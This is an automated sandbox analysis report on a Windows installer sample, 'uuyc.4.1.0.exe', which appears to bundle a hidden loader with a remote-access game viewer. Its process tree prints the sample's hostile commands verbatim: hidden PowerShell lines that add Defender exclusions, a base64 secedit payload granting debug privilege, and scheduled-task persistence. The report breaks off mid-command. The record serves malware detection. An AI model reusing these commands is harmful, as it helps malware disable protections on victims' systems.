Analysis
- max time kernel
59s - max time network
158s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 01:57
General
- Target uuyc.4.1.0.exe
- Size 91.0MB
- Sample260810-cdkxasyfrh
- SHA256 e81d62a221ae112e6184c3eb152082ab5ceefd9ba3ce15aa38968dcefdb47a81
Malware Config
Signatures
- UAC bypass 3 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs
Using powershell.exe command.
- Drops file in Drivers directory 9 IoCs
- Executes dropped EXE 24 IoCs
- Loads dropped DLL 64 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Drops file in System32 directory 64 IoCs
- Suspicious use of SetThreadContext 5 IoCs
- UPX packed file 55 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 25 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 8 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 13 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 6 IoCs
- Suspicious use of SendNotifyMessage 4 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\uuyc.4.1.0.exe"C:\Users\Admin\AppData\Local\Temp\uuyc.4.1.0.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe"C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\uuyc.4.1.0.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-3797332335-34111092-3597280141-1000"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&13⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'uuyc.4.1.0.exe' -Force" >nul 2>&13⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'uuyc.4.1.0.exe' -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Local\iusb3mon.exe"C:\Users\Admin\AppData\Local\iusb3mon.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵
- UAC bypass
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\SecEdit.exe"C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c schtasks.exe /query /tn "WinSvcMon_3C6F10A0" >nul 2>&15⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /query /tn "WinSvcMon_3C6F10A0"6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240746250_wd.xml" /f >nul 2>&15⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240746250_wd.xml" /f6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
C:\Windows\SysWOW64\prevhost.exeC:\Windows\SysWOW64\prevhost.exe5⤵
-
-
-
-
C:\Program Files\Your Product\uuyc_4.33.0.exe"C:\Program Files\Your Product\uuyc_4.33.0.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Users\Admin\AppData\Local\iusb3mon.exeC:\Users\Admin\AppData\Local\iusb3mon.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Netease\GameViewer\GameViewerService.exe"C:\Program Files\Netease\GameViewer\GameViewerService.exe" --service1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Netease\GameViewer\crashpad_handler.exe"C:\Program Files\Netease\GameViewer\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\service\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\service\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\service\log\log_20260810025850919_4600.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\service\Sentry\2c154289-1c94-4ca2-b315-72714e381994.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\service\Sentry\2c154289-1c94-4ca2-b315-72714e381994.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\service\Sentry\2c154289-1c94-4ca2-b315-72714e381994.run\__sentry-breadcrumb2" --initial-client-data=0x318,0x31c,0x320,0x2f0,0x324,0x7ff7b8c0bf88,0x7ff7b8c0bfa8,0x7ff7b8c0bfc02⤵
- Executes dropped EXE
-
-
C:\Program Files\Netease\GameViewer\bin\GameViewerServer.exe"C:\Program Files\Netease\GameViewer\bin\GameViewerServer.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe"C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\server\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\server\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\server\dumpfiles\dump_lag.dmp" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Log\MuMuPlayer\log_0.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Log\connection_log_20260810025852158_6424.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Log\streamer_log_20260810025852158_6424.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\log\log_20260810025852158_6424.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Sentry\6f40655b-ae5f-4212-3717-c7e2a188495b.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Sentry\6f40655b-ae5f-4212-3717-c7e2a188495b.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Sentry\6f40655b-ae5f-4212-3717-c7e2a188495b.run\__sentry-breadcrumb2" --initial-client-data=0x47c,0x480,0x484,0x450,0x488,0x7ff70d2bc0e0,0x7ff70d2bc100,0x7ff70d2bc1183⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
-
C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe"C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\ViGEmBus\ViGEmBus.inf" "Nefarius\ViGEmBus\Gen1"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
-
C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe"C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\gvInput\gvinput.inf" netease\gvinput3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
-
C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe"C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\gvInput\gvinputmf.inf" HID\GVInput&Col013⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
-
C:\Windows\system32\cmd.execmd.exe /c wmic csproduct get uuid3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
-
-
C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe"C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" remove "Root\GameViewerIddDriver"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
-
C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe"C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\GameViewerIddDriver\GameViewerIddDriver.inf" "Root\GameViewerIddDriver"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
-
C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe"C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" remove "@ROOT\MOUSE\0000"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -Command "Get-NetAdapter -Physical | Where-Object { $_.PhysicalMediaType -eq "802.3" -and $_.InterfaceDescription -eq 'Realtek RTL8139C+ Fast Ethernet NIC'} | Get-NetAdapterPowerManagement | Select-Object -ExpandProperty AllowComputerToTurnOffDevice"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
-
-
C:\Program Files\Netease\GameViewer\bin\GameViewerHealthd.exe"C:\Program Files\Netease\GameViewer\bin\GameViewerHealthd"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe"C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\log\log.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry\0c4e4acb-b278-4404-ca70-61302b6737a2.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry\0c4e4acb-b278-4404-ca70-61302b6737a2.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry\0c4e4acb-b278-4404-ca70-61302b6737a2.run\__sentry-breadcrumb2" --initial-client-data=0x3a0,0x3a4,0x3a8,0x37c,0x3ac,0x7ff790618be8,0x7ff790618c08,0x7ff790618c203⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.execmd.exe /c wmic csproduct get uuid3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
-
-
-
C:\Program Files\Netease\GameViewer\GameViewerService.exe"C:\Program Files\Netease\GameViewer\GameViewerService.exe" --service1⤵
- Executes dropped EXE
-
C:\Program Files\Netease\GameViewer\GameViewer.exe"C:\Program Files\Netease\GameViewer\GameViewer.exe" source=setup1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Netease\GameViewer\crashpad_handler.exe"C:\Program Files\Netease\GameViewer\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\fdbc9916-563a-4602-2e0d-4dc879610fcf.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\fdbc9916-563a-4602-2e0d-4dc879610fcf.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\fdbc9916-563a-4602-2e0d-4dc879610fcf.run\__sentry-breadcrumb2" --initial-client-data=0x368,0x36c,0x370,0x32c,0x374,0x7ff7a4ca84f0,0x7ff7a4ca8510,0x7ff7a4ca85282⤵
- Executes dropped EXE
-
-
C:\Program Files\Netease\GameViewer\bin\GameViewer.exesource=setup 4B6671A6-B8EA-4597-A9B7-3EFA8575855F2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wmic csproduct get uuid3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
-
-
C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe"C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\client\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\client\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\client\log.zip" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Log\connection_log_20260810025853773_1204.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Log\streamer_log_20260810025853773_1204.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\client\log\log_20260810025853773_1204.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Sentry\1f4e9c32-89e8-4e0a-886a-c36d600d12ec.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Sentry\1f4e9c32-89e8-4e0a-886a-c36d600d12ec.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Sentry\1f4e9c32-89e8-4e0a-886a-c36d600d12ec.run\__sentry-breadcrumb2" --initial-client-data=0x700,0x704,0x708,0x6cc,0x70c,0x7ff6220a61e8,0x7ff6220a6208,0x7ff6220a62203⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=1204.612.3115566855243047092 /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView /prefetch:4 /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffa7ebc5fd8,0x7ffa7ebc5fe4,0x7ffa7ebc5ff04⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1724 --field-trial-handle=1728,i,256085711849167347,13660447129411173950,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:2 /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e4⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=3048 --field-trial-handle=1728,i,256085711849167347,13660447129411173950,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:3 /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e4⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=3080 --field-trial-handle=1728,i,256085711849167347,13660447129411173950,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e4⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3532 --field-trial-handle=1728,i,256085711849167347,13660447129411173950,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3804 --field-trial-handle=1728,i,256085711849167347,13660447129411173950,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:5a6c84b7c73ceffc9a80e0edbf62fc6346cc4b1e /prefetch:14⤵
-
-
-
-
C:\Program Files\Netease\GameViewer\GameViewer.exe"C:\Program Files\Netease\GameViewer\GameViewer.exe" --auto-run1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Netease\GameViewer\crashpad_handler.exe"C:\Program Files\Netease\GameViewer\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\027295fa-9334-43dd-ad13-c61e999f157a.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\027295fa-9334-43dd-ad13-c61e999f157a.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\027295fa-9334-43dd-ad13-c61e999f157a.run\__sentry-breadcrumb2" 